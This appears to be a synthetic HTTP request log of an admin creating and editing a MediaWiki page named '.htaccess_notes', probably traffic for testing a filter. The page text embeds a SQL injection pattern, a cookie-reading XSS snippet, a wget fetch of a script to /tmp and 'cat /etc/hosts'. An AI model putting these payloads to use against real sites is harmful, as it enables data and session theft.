{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 1726", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=.htaccess_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=.htaccess_notes&section=&sectiontitle=&summary=Notes+on+.htaccess%2C+python3%2C+ls+-la+and+.htaccess&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A'''Example'''+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23!%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById(%22x%22).innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert(document.cookie)%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E(.*)%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A!+Command+!!+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&token=7d1a0a012962ccd63016cba9ec5f406d6af22680%2B%5C"}
{"method": "POST", "target": "/index.php?title=.htaccess_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3328", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytGGUHVisK39cQRtQ", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=.htaccess_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200104\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200104\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpIgnoreBlankSummary\"\r\n\r\n1\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on .htaccess, python3, ls -la and .htaccess\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpDiff\"\r\n\r\nShow changes\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n7d1a0a012962ccd63016cba9ec5f406d6af22680+\\\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\npreview\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ--\r\n"}
{"method": "POST", "target": "/index.php?title=.htaccess_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3322", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySRt2Y7BoeXquAYid", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=.htaccess_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200104\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200104\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpIgnoreBlankSummary\"\r\n\r\n1\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on .htaccess, python3, ls -la and .htaccess\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpSave\"\r\n\r\nSave page\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n7d1a0a012962ccd63016cba9ec5f406d6af22680+\\\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ndiff\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid--\r\n"}
{"method": "GET", "target": "/wiki/.htaccess_notes", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=.htaccess_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; my_wikiPostEditRevision12=created; cpPosIndex=11%401794254464%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=.htaccess_notes&action=history", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=11%401794254464%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=.htaccess_notes&action=edit&section=1", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=11%401794254464%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 291", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=.htaccess_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=11%401794254464%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=.htaccess_notes&section=1&sectiontitle=&summary=%2F*+Install+*%2F+&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=12&text=%3D%3D+Install+%3D%3D%0ARun+.htaccess+and+ls+-la.%0A&token=8d98a56fe79ce5cda12f70b54be1830f6af22681%2B%5C"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 299", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=.htaccess_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=11%401794254464%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=.htaccess_notes&section=1&sectiontitle=&summary=%2F*+Install+*%2F+.htaccess&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=12&stashedtexthash=215fba744e2608c7aadd8d4879a8a1d4a77aeefc&token=8d98a56fe79ce5cda12f70b54be1830f6af22681%2B%5C"}
{"method": "POST", "target": "/index.php?title=.htaccess_notes&action=submit&section=1", "headers": ["Host: example.com", "Content-Length: 2123", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryiT7gCPrm1YQ2rA25", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=.htaccess_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=11%401794254464%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n1\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200105\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200104\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n12\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n0\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\n48a19bb4c5ae768038e8343fe587d531\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n12\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n== Install ==\r\nRun .htaccess and ls -la.\r\n\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\n/* Install */ .htaccess\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"wpSave\"\r\n\r\nSave changes\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n8d98a56fe79ce5cda12f70b54be1830f6af22681+\\\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ntext\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25--\r\n"}
{"method": "GET", "target": "/index.php?title=.htaccess_notes&diff=cur&oldid=prev", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=.htaccess_notes&action=info", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:WhatLinksHere&target=.htaccess+notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:AllPages&from=.htaccess", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:PrefixIndex&prefix=.htaccess&namespace=0", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:Log&user=Admin&page=.htaccess+notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:ListFiles&ilsearch=.htaccess", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:FileDuplicateSearch&filename=Pic+.htaccess.png", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:LinkSearch&target=example.com%2F.htaccess", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:ListUsers&username=.htaccess", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/title?q=.h&limit=10", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "accept: application/json", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
